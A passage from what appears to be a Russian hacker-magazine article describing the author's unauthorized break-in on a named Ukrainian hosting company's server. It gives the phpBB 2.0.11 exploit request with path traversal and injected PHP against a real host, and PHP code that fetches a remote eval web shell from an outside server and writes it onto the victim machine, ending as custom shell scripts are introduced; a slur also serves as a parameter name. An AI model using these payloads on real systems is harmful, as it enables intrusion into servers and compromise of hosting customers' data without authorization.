Поднимаем железный занавес Александр Любимов aka Sashiks Хакер, номер #081, стр. 081-054-2 А мы тем временем попробуем научиться обходить хотя бы часть из этих строгих ограничений. Конечно, на примере реального хостинга. [незаменимая практика] Для своих тестов я выбрал не просто обычного ISP, а хостинговый сервер одной из самых уважаемых и известных украинских компаний с большим количеством серверов и мощной службой поддержки. Поэтому все, что я опишу далее, справедливо для большей части остальных хостеров. Так же следует отметить, что эксперименты я проводил и на ряде зарубежных хостингов, и все описанные в этой статье приемы успешно функционировали и там. Но не буду забегать вперед. Вообще, вся эта история началась пару месяцев назад, когда мне захотелось надломить сервер как раз этой украинской хостинговой компании, о которой пойдет речь ниже. После недолгих поисков бажных php-сценариев, я наткнулся на банальный непропатченный и всеми любимый phpBB 2.0.11. Закачав и запустив сплоит (http://unixforge.org/~sshx/x/phpbb.exe), который, по идее, дает право выполнять произвольный php-код на целевой системе, я получил в ответ следующее: http://fakin.farlep.net/forum/admin/admin_styles.php?mode=addnew&install_t o=../../../../../../../../../../../../../../../../../../../tmp&nigga=phpinfo();& sid=5d9732ae67ed3b6657fc909c10e5f4b4 Однако, было одно «но». Вместо ожидаемого вывода phpinfo() вывелась ошибка: Warning: phpinfo() has been disabled for security reasons. Как выяснилось чуточку позже, системные функции выполнять было тоже нельзя, и ситуация была довольно неприятная, что говорить. Однако именно она заставила меня искать замену стандартным способам общения сервера через system(). Итак, давай выясним что мы имеем: системные команды выполнять мы не можем, следовательно, и исследовать файловую систему нельзя, заливать файлы и просматривать содержимое тоже. Но мы все еще можем выполнять код в функции eval(), которая интерпретирует php-код, то есть теперь нам нужно все необходимые функции для общения с сервером написать самому и передавать их на выполнение в eval(). В первую очередь необходимо записать на удаленную машину web-форму eval шелла, чтобы ему отдавать на обработку наш php-код. Для этого в переменную nigga передаем следующий сценарий: [запись файла] <?php $filen="http://unixforge.org/~sshx/x/eval_shell.php.txt"; $file_new="eval_shell.php"; $data = implode("", file($filen)); $fp = fopen($file_new, "w"); fputs($fp, $data); fclose($fp); ?> Думаю, в особых комментариях код не нуждается. Получаем хэндл файла для записи, а в $file_new пишем содержимое нашего файла. Замечу, что можно записывать как файлы с локальной машины, так и удаленно, если для fopen() не блокируется открытие сокетов. Теперь в текущую папку будет записана web-форма, через которую мы в дальнейшем будем выполнять произвольный код. Собственно, некое подобие рhp-shell'a у нас есть, но от нормального шелла он будет отличаться тем, что мы будем использовать свои функции для навигации по ФС и работы с файлами, что немного неудобно и сначала непривычно. Настало время заняться написанием скриптов. Вот что нам нужно в первую очередь: |